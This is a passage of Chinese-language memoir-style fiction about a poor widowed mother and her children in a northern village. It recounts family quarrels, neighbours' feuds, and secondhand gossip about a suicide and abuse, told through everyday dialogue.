我们跟着我妈妈去西山上种地的时候,也会路过这片坟地。我妈妈就会指着其中一座坟墓跟我说:“那片坟子里埋着一个贞洁烈女,叫龙珍。四外庄上的人都知道。龙珍十七八岁,还没出嫁,丈夫就死了。原本她是可以再出嫁的。那时候封建大,她爹跟她说,‘妮儿啊,你为恁爹这张老脸想想吧。’她爹怕她改嫁给她爹丢脸。龙珍听信了她爹的话,真的就没有再出嫁,十七八岁就做了‘望门寡’。‘望门寡’的意思,就是女孩子还没过门儿,望着夫家的门,丈夫就死了,一个小女孩,年纪轻轻地就守了寡,一辈子没出嫁,婆家怪感动,给她竖了个贞洁牌坊。龙珍的爹觉得脸上有光。可是,龙珍一辈子是怎么过的啊。一个女的,单立人过日子,没有丈夫没有孩子。又因为没有出嫁,还是个大姑娘,也不会骂人,净挨旁人的骂了。人家骂她,她不敢还口,人家追着她骂。人家打她,她不敢还手,人家追着她打。她只能忍着受着。一辈子忍着、受着,躲着,过地苦死了,到死了得了个贞洁牌坊,有什么用啊。” 这以后,每次我路过这里,都会看看那块坟地里的龙珍的坟墓。那矮小的石碑,就是她的贞洁牌坊吗?龙珍的坟墓前头就是凡庄,凡庄上有“二蛮子”、“春红”这样的奇女子。她们不是贞洁烈女,而是她的反面。可是,这些反面的女子男人不断,儿女成行,一辈子吃喝不愁,风风光光。是龙珍这样一辈子冷冷清清、凄凄惨惨好呢,还是“春红”她们那样风流潇洒好呢?龙珍一辈子得了一个虚名,有人为她竖碑。可是如今的后人,谁又知道那坟墓里头的枯骨是谁。龙珍的石碑竖立在那块地里,依旧被周围的大碑小碑挤压地抬不起头。在这片竖立的新鬼和旧鬼里,谁又知道谁是谁。谁又分得清谁和谁。人生到头来,不过是同样的归宿罢了。 3.东北的“二女人”、大开运爷爷 我妈妈跟我们说:“凡乐东北的二姐回娘家了,住在凡乐家里。她是恁三姑姥娘的二小姑子,恁见了给她叫‘二姑奶奶’。不是好东西!跟凡乐一块儿天天说咱的坏话!她看咱搁恁三姑姥娘家里住着,碍她的眼。我背地里叫她东北的‘二女人’!” 有一天,“二女人”去三姑姥娘屋里去,三姑姥娘正在吃煎饼。“二女人”一看,三姑姥娘手里的煎饼长毛了,就问她:“这煎饼是谁给你的?” “三姐给我的!”三姑姥娘说。 “她怎么能给你吃长毛的煎饼啊,这个吃了会中毒,这个吃了会生病!” “二女人”说,“你把你手里煎饼给我!我去问问她!她怎么给你吃这个的!” “二女人”拿了长毛的煎饼杀气腾腾地扑到了我家。我妈妈正在吃午饭,手里拿着一块儿干煎饼。 “二姑恁来了!”我妈妈热情地跟她打招呼。 “二女人”面沉似水,不接我妈妈的话儿,她伸出手里的煎饼,质问我妈妈说:“你怎么能给恁三姑吃这个的?吃这个会生病,吃这个会中毒!” 我妈妈看了看,把自己手里的煎饼也伸出来,给她看看:“二姑,我吃的也是长毛煎饼。我不想给俺三姑吃的,她非要尝尝,我就撕给她一块。” “她牙口不好,不能吃干煎饼,你不知道啊!她要你就给啊!”“二女人”咄咄逼人。 “二姑,你怎么说这话的?俺三姑问我要口儿干煎饼尝尝,我要是不给她,俺三姑还得说我小气来。俺山上草多,没时间烙煎饼,等哪天我有空儿了,烙了新煎饼,再拿去给俺三姑尝尝。”我妈妈说。 “谁知道你安的什么心,你是想毒死她!” “二女人”说。 我妈妈说:“二姑,你怎么说这话的?俺三姑死了与我有什么好处啊。俺三姑不辞蹬俺,不扼俺,俺害她干什么?俺没那个脏心烂肺!” “你说谁脏心烂肺的?”“二女人”瞪着她的小眼儿问我妈妈。 “谁想害人谁脏心烂肺!”我妈妈说,“俺好心好意地掰点儿干煎饼给俺三姑吃,你非说我要毒死她。俺不亏吗?俺给你解释,你又不相信。那俺就赌上咒发上誓!这回,你相信了吧?” 我妈妈也在吃长毛煎饼,“二女人”的一番作为并不能给我妈妈扣上“虐待老人”的罪名,“二女人”气呼呼地走了。 第二天中午,我妈妈从山上薅草回来。扛着一粪箕子草回家。她走到大恶心家门口儿的时候,只见“二女人”坐在大街上,跟人家一起说话呢。 “我儿子可孝顺了。他过年发了福利,开着车,走到我家门儿口儿,把那些带鱼、罐头,都扔到我家里。他媳妇一点儿都不知道。等快要过年了,俺儿子掏出钱来,跟他媳妇说,‘呐,你拿着,给咱妈送去吧!’俺儿媳妇拿着钱给我送来。她是不知道,俺儿子那里,还有一份儿给我来!” “二女人”骄傲地说。 “恁儿媳妇要是知道恁儿偷偷地给你钱,跟恁儿吵架吧?”人家问她。 “她不敢!他们两口子打架,丈母娘跑来了,她想向着她闺女的。我儿子摸了一把刀,照着他丈母娘就砍。他丈母娘吓地冒跑,鞋都跑掉了!” “恁儿是真野!真有种!”那些女人赞扬道,“俺儿子可不敢!他可没那种!” “我儿子从小就能干。我跟他爸爸干架,他都是向着我。他临去上大学的时候,拿了把菜刀,跟他爸爸说,‘我去上大学去了,你不要欺负俺妈妈。你要是敢欺负俺妈妈,我回来把你剁了!’” “二女人”说。 “恁儿知道你辛辛苦苦把他拉扯大,不容易。知道孝顺你。”人家说。 “俺儿跟我说的,‘妈,你现在就好好地,养好身体。吃喝不用你愁。’我现在天天吃完饭没事儿,我就去跳舞。” “二女人”说。 “恁那里开放。咱这里是农村,哪行?咱要是去跳舞,人家还不笑话死咱。咱天天累地瘟死,也没那个心思去跳舞啊。”旁人说。 “跳五(舞)!闲地可没事儿了。还跳六儿呢!”另一个女人说。 “跳舞得有舞衣。光是人有什么好看的?都是舞衣好看的。” “二女人”说。 “侉子来了!侉子!”那几个女人小声儿地说。 “二女人”一转身儿,看见我妈妈背着粪箕子来了。她拍着手跟人家骂道:“侉子就不是个好东西!你看她那一脸横肉,我是一点都不喜她!” 我妈妈又累又气,她把粪箕子放下,就去跟“二女人”说道。 “二姑,我什么时候惹的你哎!你怎么天天骂我的?你昨天就去俺家找我的事儿。你今天又坐大街上骂我,你从大东北跑到大东南,就是为了来败坏我的?”我妈妈说。 “啊,我败坏你了?我败坏的就是你!我是姓凡的姑奶奶,我就能说你,你是外来的野户,凡庄没有你说话的份儿!” “二女人”说。 “那么大的东北还能不开你啊,你还跑来管我?”我妈妈说。 “你是什么玩意儿啊,我管你?我稀罕管你!我吃饱了撑的!” “二女人”说。 “你就是吃饱了撑地!你每天吃地胀胀的,你坐到大街上败坏我。你撑地不轻!”我妈妈性子也烈,越说越上火。 凡乐闻听他二姐跟我妈吵架了,不由分说,拿了个大棍子,冲出家门,就要来打我妈妈。 “你骂我?!我从为大姑娘到现在,五十四了,还没有人敢骂我!你骂我!来!我给你磕头!我给你磕头! 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“你也赶紧回家吃饭去吧,他二姐!你统共来娘门过几天啊?你跟她吵闹地翻江倒海的,人家庄上人笑话!她反正就这一摊了,她不在乎。你千里迢迢地从东北来,就过那几天,你图的什么啊?” “我要不是出了门子的闺女,我能饶过你!”“二女人”说。 “要不是看俺二姐搁这来,我非揍死你不行!”凡乐拿大棍子咚咚咚地戳着地皮说。 国美二爷爷光顾着劝架,他自己碗里的饭早就凉了。 “你也赶紧回家吃饭去吧,二叔!你光顾着给俺劝架,你碗里的饭都凉了。”我妈妈跟国美二爷爷说。 “没事儿!恁三姐!你也回家歇歇去。干了一上午的活儿了。一口水儿都没来得及喝。”国美二爷爷跟我妈妈说。 晚上,收拾完没事儿,我妈妈就拿着个破袋子去找三姑姥娘拉呱。 “三姑啊!”我妈妈说着进了三姑姥娘的屋里。 “哎!恁坐,三姐!”三姑姥娘说。 “今天,俺跟东北的‘二女人’吵架了!”我妈妈说。 “那个‘武则天儿’,年轻的时候就霸道。你不要怕,她过几天就走了,她能搁这儿住长远啊?”三姑姥娘说。 “她天天闲地没有事儿,她怎么不能搁这住长远的?”我妈妈说。 “她东北没有男人啊!”三姑姥娘说,“她这样的,能离开男人啊?她为的什么离的婚?就是因为她年轻的时候不干净!她男人嫌她不是黄花大闺女!” 三姑姥娘说。 “啊?是这回事儿啊!怪不得她说,她男人对她这不好那不好!”我妈妈说。 “她为大姑娘的时候,搁庄上当老师,教小学生认字儿,跟咱庄上的支书王鸿德好上了,后来有了私房孩子。她爹买了黑狗,剥了给她吃的!黑狗肉化胎!” 三姑姥娘说。 “我的娘哎!还有这回事儿啊!隔墙有耳,咱小声儿点儿!可别让人听到!恁可别出去说哈,三姑,咱惹不起人家!” 我妈妈说。 “我能跟谁说?我都这把年纪了,不知道哪天就死了,我还怕谁!” 三姑姥娘说。 “话不传六耳。恁放心,三姑,恁跟我说的话儿,我烂到肚子里,一辈子也不能跟人说!”我妈妈说。 一天下午,我正在屋里看书。开运大爷爷来了。我妈妈招呼我:“恁大爷爷来了,大丫头!喊大爷爷!” “大爷爷!”我喊道。 开运大爷爷在山上住,看山。山上的那些杏、板栗都是他的。 “大叔,恁怎么有空来的?”我妈妈问他。 “西院儿的二姐来了,我去找她说说话儿。”开运大爷爷说。 “恁跟二姑年纪差不多大,恁是发小哈。”我妈妈说。 “那时候,她、我,王鸿德,俺三个一块儿搁庄上管事儿!”大爷爷说。 “噢!大叔恁还坐会儿吧?”我妈妈拿着个板凳,跟大爷爷说。 “不坐了,我过会儿回家了。恁大婶子还等着我吃饭来!”大爷爷说,“大姐学习的?” “是的,大爷爷!”我规规矩矩地跟大爷爷打招呼,也不知道跟他说什么。我当时穿着人家给我妈妈的一件老太太穿的绿色的线褂子,坐在我家小桌子跟前。大爷爷在院子里笑笑就走了。 “恁大爷爷给你十块钱,留着你上学喝茶!”我妈妈跟我说。 “俺大爷爷怎么给我钱的?” 我妈妈说:“恁大爷爷对咱家可好了,恁弟弟上山上玩儿,恁大爷爷喊恁弟弟去他家杏树上摘杏,还让恁弟弟去他家栗子行里摘栗子。人家是同情恁外地来的小孩儿,没有爸爸了。” 我说:“俺大爷爷恁好的一个人,怎么打了一辈子光棍儿的?” 我妈妈说:“年轻的时候穷,娶不起。年纪大了想找,找不到合适的了。恁大爷爷这回找了老嫲嫲,带来一个瘸儿,一个小儿。娘仨儿跟着恁大爷爷过,就靠恁大爷爷养着。” 我说:“那个老嫲嫲怎么样啊,好吧?” 我妈妈说:“恁大奶奶好,就是爱面子。恁大爷爷跟她一块儿去看她姐,还得包车去。” 我说:“那个老嫲嫲带着两个儿来,这庄上的人不扼她啊。她能蹲地住啊。” 我妈妈说:“人家恁大奶奶跟着恁大爷爷可享福了。姓孙的门儿的人好,恁大爷爷的亲近房拿着恁大奶奶娘几个可好了。” 我问我妈妈:“开运大爷爷以前找过对象吗?” “找过!都是骗子!说跑就跑了。有一个娘们儿临走的时候,连恁大爷爷给她买的六七个裤头子都给卷跑了。”我妈妈笑着说,“恁大爷爷跑到庄上说的。要不咱也不知道。” “俺大爷爷真有钱,能买恁么多裤头子!”我笑着说。 4.棒棒家 我的两个高中同学,梁广山,李天笑,就坐在我旁边,我们经常一起说笑。 课间,梁广山拉着李天笑去问我:“宋大省,‘江山易改,本性难移’,是什么意思啊?” 我以为他们是在故意为难我,就不怀好意地说:“就是‘狗改不了吃屎’!” 他们两个笑作一团:“宋大省说你‘狗改不了吃屎!’” 我那时候家里穷,又是青春期,很少到教室后头玩。一个中午,我吃完饭来到教室里,教室后头没几个人。梁广山在低着头啃苹果。他拿着一个小布袋子。里头装的应该还是苹果。 “你吃吧?”他说。我以为自己听错了。一时不知道怎么回答。 他又问我一句:“你吃吧?” 我说:“谢谢,我不吃。” 他说:“吃吧,吃苹果又不会胖。” 我说:“我已经很胖了,我也不怕胖。” “How kilogram are you?”他问我,“用英语是这样说的吗?我英语没你的好。” 我知道他在问我的体重,我一时有点不高兴。 “我一百二。”我说。 “我一个亲戚在恁庄上。”他说。 我说:“谁啊?”我家里穷,又是外来户,我其实不太想让别人知道我家在哪里,更害怕别人打探过多关于我家的底细。 他说:“棒棒家!” 我一时没听清楚,就皱着眉头问他:“谁?” “大棒!二棒!”他笑着说。 我很惊讶,就问他:“棒棒家是恁什么亲戚啊?” 他说:“那是俺姥娘家。” 我恍然大悟。 “噢,你是棒棒姑家的表哥!” “是的!”他笑着点头说。 棒棒的爹,叫凡宫,是凡奎二大爷的大哥。棒棒家有兄弟两个,大棒,二棒,跟着他爸、他奶奶生活。棒棒的妈妈是个哑巴,也是“半憨潮湿”。他妈妈也是比他爸爸年轻很多。大棒、二棒,一前一后出生,都才五六岁的光景。他们的奶奶、爸爸年纪都大了,兄弟俩生地瘦瘦黑黑,抹地鼻涕邋遢,像两个小老鼠。 冬天的一个星期天,我妹妹喊我:“大姐,恁同学来找你了!”我觉得有些不可思议,我哪个同学会来找我呢。我到东墙外一看,是梁广山。 我问他:“你怎么来凡庄了?” 他说:“我来俺姥娘家的,顺便来看看同学。” 我看他就穿着一件乳白色的夹克,就问他说:“今天风大,你不冷吗?” 梁广山说:“还行。我不怕冷。” 我想到我们那个破破烂烂的家,不知道该不该让梁广山去我家。 我们正好站在我家东墙外一堆秫秸攒里,梁广山说:“就在这说说话儿吧。” 我说:“那好吧。我去拿个小椅子来吧。”我就跑回家去搬小椅子。 “谁啊?”我妈妈大概是听到了我们说话的声音,她边低着头做针线边问我。 “梁广山,他来走姥娘家。”我说。 “你不让他家来坐坐的?”我妈妈问。 “他不家来了,就在外头说句话就走。”我说。我想,咱家这么破烂,你老人家还让人家来咱家。幸亏人家不来。 我跟我妹妹很快搬来了两个小椅子,我们就在那秫秸攒里坐下来了。我妹妹还小,靠在我的膝盖上,我像奶奶一样抱着她。 黑黑小小的两个棒棒也跟着他来了,他俩儿平时也经常来我家玩。小男孩很调皮,他们先是跑到我家院子里玩,打破了几个我妈妈放在院子里的瓶瓶罐罐,然后又跑到我家屋后头的小路上,坐在小路的土坡上,秃喽一下滑下去。两个小孩随妈妈,都不太会说话。 我说:“你来恁姥娘家干嘛的啊?” 他说:“俺妈让我给俺姥娘送粉条子。” 我说:“粉条子?恁妈妈买了,让你给恁姥娘送来的?” 他说:“不是买的。俺家自己就做粉条子。” 我妹妹也很好奇,她笑眯眯地问梁广山:“粉条子怎么做的啊?” 梁广山笑嘻嘻地看着她说:“自己拿山芋粉做的。做好了晾在家里。”梁广山说话的时候,露出来两颗大门牙。 “你会做粉条子吗?”我妹妹又问他。 “我不会做,都是俺妈做的。”梁广山说。 梁广山这个人,内心其实很精明,可是说出话来又显得那么实诚。 我问他:“都晌午了,你吃饭了吗?”我没敢说让他来我家吃饭的话,因为我家根本就没有适合他吃的饭。 他笑笑说:“俺姥娘做了饭让我吃,我不想吃,马上回家吃。” 我说:“你看,俺家不像样儿,我也不让你去俺家吃饭了。” 梁广山说:“没事儿。就在这儿说说话儿。我马上回家了。” 我说:“那行吧。你回去慢点,路上注意安全。风大,可别冻着了。” 梁广山说:“没事儿。”他说着站起来。 “棒棒!走了!”他说。 “梁广山走了?”等我回到家,我妈妈问我。 “走了。”我说。 “你没跟他谈恋爱吧?”我妈妈说,“你可不要谈恋爱。谈恋爱耽误学习。现在的小男孩儿都会哄人。你上了他的当,给我丢门败户,我饶不了你!” “我跟谁谈恋爱?咱家恁么穷,谁跟我谈?谈恋爱不要打扮,不要花钱?我谈不起。再说了,梁广山的成绩不好。两颗大门牙跟脚趾盖子似的,我不喜欢他。” 我妈妈说:“人家现在的人都可精了。俺听恁凡宫大爷说的,梁广山的爹让他谈个南方的独生女,等他岳父岳母死了,家业财产都是他的。” “是他的就是他的呗。我又不稀罕。”我说。 我妈妈问我:“你没让梁广山来咱家吃饭啊?” 我说:“咱家又没有什么好饭好菜,我怎么让他来咱家啊。” 我妈妈问:“梁广山去他姥娘家里吃饭去了?” 我说:“他说的,他姥娘做好饭了,让他吃。他不想吃。他马上回家吃。” 我妈妈说:“他嫌他姥娘家脏呗。也是的,棒棒家太不像样儿了。棒棒的妈是个哑巴。棒棒的奶奶年纪大了。里里外外都靠恁凡宫大大一个人。两个棒棒又小。抹地跟小黑鬼儿似的。梁广山一个小青年儿,爱干净。” 我说:“妈,我看棒棒的妈怪白,怎么两个棒棒恁么黑的?” 我妈妈说:“人家这庄上传说的,两个棒棒不是恁凡宫大的。恁凡宫大不能生。两个棒棒是他四兄弟的。他四兄弟见到两个棒棒,又亲又抱的,可亲乎了。” 有一天,我跟我妈妈走到棒棒家外头,看见棒棒的爸爸,凡宫大大,满脸是血,手里拿着一块砖头,骂骂咧咧地。地上,是新起的准备盖新房子的地基,凡敏大大跟他二儿子,拄着镢头,站在那里。凡宫大大家东边,是他四兄弟的家。他四兄弟家东边,是凡敏大大家。旁边,一个女人骂骂咧咧地,我不认识她。 我妈妈说:“凡宫的四兄弟跟凡敏家争地边子。凡宫来向着他四兄弟的。” 我问:“哪个是凡宫的四兄弟啊?” 我妈妈说:“就是站搁凡宫跟儿里那个。” 我说:“就是那个矮矮的胖胖的男的啊。他看起来就不像个好东西。” 我妈妈说:“他家跟凡敏家历来就有仇。有一回,他跟恁凡敏大娘骂架,恁凡敏大娘跑回家,把大门从里头插上。凡宫的四兄弟从墙头上爬过去,按着恁凡敏大娘,苦苦地打了一顿。旁边那个骂人的,你看到了吗?是凡宫的三兄弟媳妇,也是来向着她四小叔子的。” 我说:“哪个?就是戴蓝色包头巾的那个啊?” 我妈妈说:“嗯,那就是恁凡香三大娘。” 我说:“我不认得。凡香是谁?” 我妈妈说:“旁边那个瘦瘦的,就是凡宫的三兄弟凡香。” 我说:“凡敏大爷的二儿不是当过兵吗?他能打。” 我妈妈说:“他能打,也挡不住人家弟兄仨啊。凡奎死了,凡奎要不死,人家弟兄四个来。” 我看看凡敏大爷跟他二儿,他们两个身上没有血,应该是没有吃亏。 我说:“凡敏大爷不是还有个大儿子,大勇吗?” 我妈妈说:“大勇那么胖,有什么用啊?人家一推他,他就倒了,自己想爬起来,都爬不起来。大勇其实比春燕聪明,都是因为滑头,不好好上学,才没上成的。大勇天天背着书包,跟他娘说,他去上学去了。其实是跑到学校外头听大鼓去了。要不就跑到他姥娘家过几天,就是不想上学。恁春燕姐,人家好好上学,在外头工作,就少受这些气了。” 我说:“大勇哥还不如俺春燕姐,人家还能帮着娘家。” 我妈妈说:“恁春燕大姐也只能帮忙干活儿。女孩儿,有什么用啊。打,打不过人家,骂,骂不过人家。恁春燕大姐回娘家,凡宫的四兄弟搁地里干活儿,看到恁大姐骑着洋车子从南大路上过来,就骂她。恁大姐都不敢吭声儿,就当没听到,骑着洋车子就走了。女孩儿不耽事儿。人家打不敢还手,骂不敢还口。一个大闺女,能跟人家对骂吧?恁可要好好上学,农村人,可了不得!” 我说:“凡宫的四兄弟恁不是人的?两家子大人有仇,他就骂人闺女。” 我妈妈说:“一般的人家都有讲究。大人骂架不骂人家的闺女。要是骂人家闺女,外人也觉得他不通人性。西院儿凡乐家的跟我骂架都不骂恁。她要是敢骂恁的话,我就过去揍她,跟她拼命。” 一天,我放学回到家,看到南家前有一户人家在办丧事。 一回到家,我就问我妈妈:“妈,这庄上谁死了?” 我妈妈说:“恁凡香三大娘死了。岁数跟俺差不多。撇下三个孩子,跟恁姊妹仨差不多,可怜吧。” 我说:“她是怎么死的?” 我妈妈说:“跟恁凡香三大爷吵架,喝药死的。” 我说:“凡香是谁啊,我不认得。” 我妈妈说:“就是那天,他四兄弟跟恁凡敏吵架,他去帮忙的那个。你不记得了吗?一个娘们儿,在那骂骂咧咧的。就是恁凡香三大娘。” 我说:“我只看到她戴着蓝包头巾,我没看清她的人儿。” 我妈妈说:“恁三大娘撇下三个小孩儿,大的叫梅丫,跟你差不多大,二的叫毛蛋儿,跟恁弟弟差不多大。三的叫欢欢,跟恁小妹差不多大。” 我说:“她怎么恁么想不开的?喝药干什么的?她不想想她三个孩子的?” 我妈妈跟我说:“谁想死啊,都是一时糊涂,觉得自己喝药了,对象就心疼了,还能把她抢救过来。这回抢救不过来了,死喽!你死了,人家当时掉几滴子眼泪。过时儿,人家一点儿不心疼。男人!那些死了媳妇的,都是搁棺材旁儿放一盆洗脚水。临出棺的时候,男人一脚把那盆洗脚水蹬了,旁人赶紧再给换上一盆子新水。” 我说:“弄洗脚水做什么的?” 我妈妈说:“媳妇就是洗脚水,蹬了这盆端那盆!你以为男人真疼你啊!” 我说:“男的能蹬,女的也能蹬啊。女的,等男的死了,也在他棺材旁边放一盆子洗脚水。女的也蹬。” 我妈妈说:“女的哪能那样啊,不怕人家笑话啊。再说了,喝药的、上吊的都是女的。男的有几个喝药的上吊的。女人没本事。人家男的想害就给害了。东庄上一个大闺女,刚结婚,就从二楼上掉下来摔死了。婆家报信来,说是两口子感情好,男的从楼上抱着女的往楼下呲尿,女的光着腚,男的一把没抱住,从二楼摔下来,摔死了。” 我说:“这两人也是的,恁么大的人了,男的还能抱着女的从楼上往下呲尿。” 我妈妈说:“这事儿你相信吧?俺是不相信。人家就是想故意害她的。” 我说:“好好的一个人,就这样给摔死了?娘家没去人儿啊?” “去人儿又有什么用。死了就死了。再怎么也活不过来了。人家都是向活的不向死的。”我妈妈说,“恁以后,除非是对象害死,恁不能自己寻死。恁要是被对象害死了,我去给恁打官司告状。恁要是自己寻死了,恁看地清亮的,娘家没有人给恁撑腰,恁死了白死。” 我听着我妈妈的话,觉得很沉重,就不吭声儿。 “恁要是舍得死,我就舍得埋!能自己死的都不是我的孩子!我挖窠塱埋上!我一滴眼泪渣儿都不掉!我连看都不看一眼。别觉得我会心疼!”我妈妈咬牙切齿地说。 这以后,我倒是对凡香大大家留意了起来。凡香三大爷家就住在凡庄南家前,他家是三间瓦屋,他家前头是一个很大的汪。我有时候放学回家,就沿着他家的汪沿走,从凡庄庄里走到我家里去。 有一回,我好像看见凡香大爷了,他带着三个小孩儿坐在天井里剥蒜。他穿着白色的的确良褂子,坐在西边儿,面向东,他的一大一小两个女儿坐在他对面儿。中间隔着白白的一堆蒜皮,他们都在低着头剥蒜。 回到家,我跟我妈妈说:“妈,我今天看到凡香大爷了,跟他几个小孩儿一块儿坐在天井里剥蒜的。” 我妈妈说:“你看到了?三个小孩儿没妈了,可怜吧。最小的跟恁小妹一样大,才十来岁。” 我说:“她们姊妹三个跟着凡香大爷,凡香大爷能照顾好他们吗?” 我妈妈说:“好什么哎。恁凡香大爷爱喝酒,跟恁三大娘吵架就是因为他爱喝酒。我听说的,不知道是真的还是假的。恁凡香大爷剥蒜的时候,不穿裤子,把他的老嘎子搁在蒜皮里藏着,勾引他大闺女。” 我说:“凡香大爷怎么恁不是人的?简直是猪狗不如。梅丫在那个家还能过啊?她还上学吧?” 我妈妈说:“梅丫早就不上学了。” 我说:“那她怎么不去打工去的?离开那个骚公鸡。” 我妈妈说:“谁知道来,难说她要顾恋她小妹啊?” 我说:“她小妹还小,等长大了,姊妹仨都出去打工去,都不理那个老龟孙。” 我妈妈说:“恁凡香大爷那个儿吧,也不争气。把人家四岁的小女孩抱到他被窝里给□□了。人家家里大人知道了,去派出所告状,毛蛋儿吓得跑了,跑到新疆去了。不敢回来,一回来,人家就去逮他。” 我问:“他怎么□□人家小女孩儿的?人家大人没看好吗?” 我妈妈说:“大人不搁跟儿里呗。人家小女孩儿去他家跟他小妹一块儿玩儿。他说他那里有糖吃,就把人家小女孩抱到他被窝里去了。人家派出所审问的时候,小女孩儿说的,他的被窝里头可骚了。人家去他家里掀开他被窝一闻,骚烘辣气的!” 我上学的时候还是经常经过凡香大爷家前的汪沿,有时候看见他家的孩子进进出出,想着她们的日子是怎么过的,又想着,有凡香大爷这样的爹,还不如没有。 又过了一些日子,我妈妈说:“恁凡香大爷死了。” 我欣喜地说:“他是怎么死的?” 我妈妈说:“他家前头不是有汪吗?他喝醉了,跑到汪里头,淹死了。” 我说:“是凡香大娘把他弄死的呗。” 我妈妈说:“人家看见他的时候,他在汪里站着的,谁知道就死了呢。” 我说:“他死了正好,梅丫出去打工去,把她妹妹带上。” 我妈妈说:“凡香死了,出殡的时候毛蛋儿回来了。” 我说:“他怎么能回来的?他不怕人家逮他吗?” 我妈妈说:“他几个叔叔大爷去人家那个小女孩儿家里跟他说情的。他爹死了,还能不让他回来送老殡吗?人家不去告他就没事儿了。民不告官不举。” 我说:“他这样的,回来不是害人吗?” 我妈妈说:“毛蛋儿现在学好了。他搁新疆,跟着人家老板干活儿,人家老板看他勤快老实,把自己的闺女嫁给他了。” 我说:“我上回搁南家前,搁汪沿儿前头,看到梅丫了。梅丫背着个双肩包,跟她对象走搁一块儿。笑嘻嘻地。” 我妈妈说:“梅丫啊,她都有对象了。天天跟她对象搬着脖子搂着腰地。两个怀忽闪忽闪的。人家庄上人看到,人都笑话。” 我说:“凡香死了,梅丫有对象了。欢欢跟着她姐。这回可安了心了。” 22. 凡乐和小芹娘东窗事发 1.近亭大哥和月梅嫂子 我们住在凡庄,可是我并不觉得凡庄有我的家,我从来不觉得凡庄是我家。凡庄于我而言,只是因为有我妈妈。我家里没有好吃的,没有好看的,没有好玩的,甚至连写字的地方都没有。因此,每逢周末放假,我并不怎么想回家。但我还是得回家。我背着书包,一个人走在小路上,经过人家的田地,田里种着水稻,那秧苗还很小,像是一个个倒着写的“不”字。 回家了,时令正是春夏,小路两旁是绿茵遮盖的穹庐,草稞子里,我妈妈养了一群小鸡鸭,它们叽叽喳喳地叫着,让我想起记忆里的家乡的味道,让这快要离去的春天似乎有些美好。 我妈妈性格刚强,有口有心。可是她的命不好,她没有遇到足够强大,足够给她撑腰的男人。她连一个忠厚老实的对她实心实意的男人都耽不住。她变成了让人耻笑的寡妇。她在凡庄是没有地位的女人。而那些相貌平平,头脑昏昏的女人,因为命好,因为男人没有死,都比我妈妈高贵三分。人家有男人撑腰,我妈妈靠谁?她的丈夫死了,她一个女流之辈,拉扯着三个孩子,正如她歌里唱得那样:撇下小为奴一世靠何人啊。 农村的女人,那地位的高低全凭男人的地位决定。再昏庸的女人,只要她命好,得了一个能干的男人,那么她也跟着水涨船高,身价不菲。再能干的女人,只要她没有男人,她在人前,必然是矮了三分。我妈妈不跟那些命好的贵妇人来往,我妈妈不屑去巴结她们,她们也不屑跟我妈妈来往。于是我妈妈始终是孤家寡人。在她们聚众聊天的时候,在她们指桑骂槐的时候,在她们像一群鸭子呱啦个半天直到该回家做饭才散群的时候。我妈妈基本上是孤家寡人。 穷人也有朋友,正如穷国也有朋友。新中国刚成立的时候,西方国家孤立她,排挤她,她只有团结一群亚非拉,团结着不欺负她的苏联老大哥。我们家同样如此。人家姓凡的欺负我们,孤立我们,我们既有善良的“苏联老大哥”帮助我们,也跟一些同样是“亚非拉”的朋友相亲。 近亭大哥住在棒棒家前头,近亭大哥姓孙,我们虽然叫他大哥,但是他已经快六十了。近亭大哥有妻月梅,也是外地人。月梅背上一个有高高的罗锅子,脖子窝在两肩之间,低着头,说起话儿来,不清不楚的,像是一只刚出蛋壳的饥饿的小鸟。是的,月梅嫂子的长相和声音都像一只刚出蛋壳的孱弱的小鸟。 月梅很勤快,经常给人缝缝渔网,剥剥大蒜,挣两个钱。月梅属于残疾人,庄里给她办了低保,不吃近亭大哥的赘食,近亭大哥倒是靠她生活儿。 人家让大哥带着月梅去镇里找找,看看能不能再找点头绪出来,大哥还不愿意带月梅出头露面。大哥看不上月梅,嫌她拿不出手,给他丢脸。 “他大哥,哪有嫌弃自己的家属的,旁人天好,那是旁人,月梅再不好,那也是你的家属。还是月梅终身陪伴着你。你带她逛逛,怕什么的。”我妈妈劝说近亭。 月梅给人家缝网,我妈妈见了她就跟她打招呼:“嘿!月梅,缝网的!缝地真好!真棒!我去山上剜地,有空去俺家玩哈!”月梅也在人家大门口儿跟我妈妈招手,“呀呀”地笑着。一个不会说话的人,倒是比那些会说话的人还要开心,还要热情。 近亭大哥年纪大了,不种地了。他把地包给了人家,自己闲了到处走走,串串。月梅手里没活儿了,就来我家找我妈玩儿。东庄上精明的二大娘来我家找我妈说话,都不敢走正道儿,怕西院凡乐家记恨人家,二大娘都是拄着拐杖,歪歪倒倒地从我家东边的草稞子里钻出来。月梅不是,月梅从她家顺着小路,摇着两条胳膊,潇潇洒洒地就过来了,她没什么心数,所以不管那么多。我妈妈见了她,欢天喜地。赶紧搬板凳给她坐下。 “月梅大嫂子来了,月梅!”我妈妈笑着说。我家里有什么好吃的,我妈就找来给她吃。近亭大哥有了什么好吃的,也让月梅捎了来,给我们吃。 近亭大哥跟月梅本来也有一个自己的孩子,月梅大嫂子不会带,夜里给闷死了,以后两个人再也没有生养,后来,他们领养了一个小女孩。他们两个人再也不敢自己带孩子,就放在近亭大哥的姐姐家,让他姐姐帮忙养着。小女孩越长大,越离不开她姑姑,跟这边的父母也不亲,难得地来一回,要钱要钱,要了钱赶紧就走。 大哥、大嫂供着她吃喝、上学。小女孩还质问大哥:“恁自己为什么不生小孩的?恁为什么领养别人的小孩的?” 近亭大哥被问地哑口无言,毕竟是个小孩,也不好跟她计较,但是,心里被扎地苦痛,就去找人说道说道。 “俺为什么领养别人的小孩儿的,俺不是不能生养吗。”近亭大哥跟我妈妈说。我妈妈也很为大哥、大嫂子难过。 “还‘为什么’,小女孩蛮会拿腔拿调的。”我妈妈说,“没有良心!月梅再怎么样,也是跟近亭一起劳动着养活了你!”这些话,都是我妈妈在我们跟前说的。 2.傲傲、通通初长成 我们家前头,傲傲的三婶子,国福家的,扯着大喇叭似的粗粗的嗓门儿喊:“通通——傲傲——家来吃饭了!” 我妈妈说:“‘二蛮子’走了。” 我问:“她去哪儿了?” 我妈妈说:“她去了离凡庄不远的黄家庄。” 我说:“她没带小孩儿吗?” 我妈妈说:“她光把小九带走了,两个小男孩儿,通通跟着他大大爷长柱,傲傲跟着他三叔国福。两个男孩儿,‘二蛮子’不带,她也带不走。‘二蛮子’要是带个男孩,自己搁人家的日子也不好过,以后还要给他娶媳妇,负担太重了。她光带着女孩儿,以后打发出嫁了,还能来看看她,‘二蛮子’多精!” 傲傲跟着他三叔国福,国福家四个女儿、一个儿子,傲傲跟着,年纪又是最小,吃饭的时候根本抢不过他们。 